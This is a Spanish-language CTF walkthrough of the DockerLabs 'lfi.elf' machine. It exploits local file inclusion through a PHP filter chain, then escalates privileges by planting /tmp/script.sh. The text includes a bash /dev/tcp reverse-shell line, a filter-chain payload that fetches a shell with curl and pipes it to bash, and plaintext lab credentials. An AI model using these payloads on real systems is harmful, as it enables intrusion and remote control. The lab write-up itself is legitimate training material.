DockerLabs lfi.elf

Gm4tsyGm4tsy
5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de puertos y podemos observar que solo tenemos el puerto 80.

Ingresamos la dirección IP en el navegador y podemos observar lo siguiente.

Seleccionamos el botón, nos lleva a una página que contiene varias opciones, pero sus contenidos no son útiles.

Realizamos un escaneo de directorios y podemos observar un archivo llamado secret.txt.

Ingresamos el nombre del archivo y podemos observar un texto.

Probamos haciendo fuzzing en las páginas PHP y en la que tenemos respuesta es en la de index.php.

Agregamos el parámetro y podemos observar el archivo etc donde existe el usuario lin.

Realizamos un fuzzing para buscar posibles archivos para un log poisoning, pero no encontramos uno que nos sirva para este propósito

Ya que se trata de una página en PHP y podemos realizar un LFI esto nos da paso también para poder realizar un PHP Filters Chain Primero debemos comprobar si podemos realizar el ataque. Para ello, descargamos el script que nos generara la cadena. Archivo.

Usamos el siguiente comando.

python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'

Agregamos la cadena que nos genera en el URL, podemos observar que tenemos el archivo.

Como comprobamos que es posible el ataque crearemos una revshell simple en nuestra máquina.

bash -i >& /dev/tcp/172.17.0.1/1234 0>&1

Ahora generaremos la cadena, esta tendrá el objetivo de descargar la shell que acabamos de crear y la ejecute. Luego de ejecutarlo copiamos la cadena que se genera.

python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 172.17.0.1/revshell|bash` ?>'

Antes de enviar la cadena debemos abrir dos consolas. La primera es para iniciar el servidor en Python y la segunda iniciaremos nuestro listener.

Enviamos la petición, pero obtenemos el siguiente mensaje

Para tener mayor comodidad y evitar errores lo haremos por burpsuite.

Copiamos nuestra cadena y la pegamos.

Nos vuelve a dar el mismo error. Por ello acortamos el texto y lo dejamos de la siguiente manera.

Volvemos a enviar la cadena y podemos observar que ya tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Realizamos un sudo -l, pero no tenemos credenciales para realizar ello.

Realizamos una búsqueda de permisos SUID y capabilities, pero no tenemos nada.

Vamos a la carpeta home, no podemos acceder a la carpeta del usuario lin.

Ya que no encontramos nada vamos a las carpetas de archivos temporales, pero no tenemos nada.

Repasando nuestros pasos observamos que teníamos un mensaje en la web que indicaba que nos habían ocultado un archivo.

Regresamos a revisar los directorios web donde se puede ver una carpeta oculta.

Ingresamos al directorio listamos y podemos observar 2 archivos, uno llamado agenda.txt y otro .passwd.

Revisando ambos podemos observar que dentro de passwd tenemos las credenciales de lin y el otro archivo es una lista de palabras.

lin:agentelinsecreto

Ingresamos las credenciales y son correctas.

Vamos a la carpeta del usuario y podemos observar un archivo sistem.py que le pertenece a root.

Leemos el archivo system.py y podemos observar que este interactúa con el sistema y tenemos la posibilidad de ejecutar el módulo subthreads de manera directa.

Probamos ejecutando el archivo para observar que realiza, parece que no puede ejecutarlo.

Buscamos el archivo, ya que no podemos reemplazar el archivo por uno propio porque no lo estamos ejecutando como sudo. Usando find podemos observar lo siguiente.

Revisando el archivo podemos observar que busca un archivo /tmp/script.sh y si no lo encuentra muestra el mensaje que obtuvimos al ejecutar el archivo.

Con ello vamos a la carpeta /tmp, para validar que el archivo no se encuentra debido a que antes no encontramos ningún contenido.

En la carpeta creamos el archivo con el script para que de permisos a la bash y le damos permisos de ejecución.

Ejecutamos el archivo, seleccionamos el módulo y salimos.

Realizamos un bash -p y podemos observar que ya somos root. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy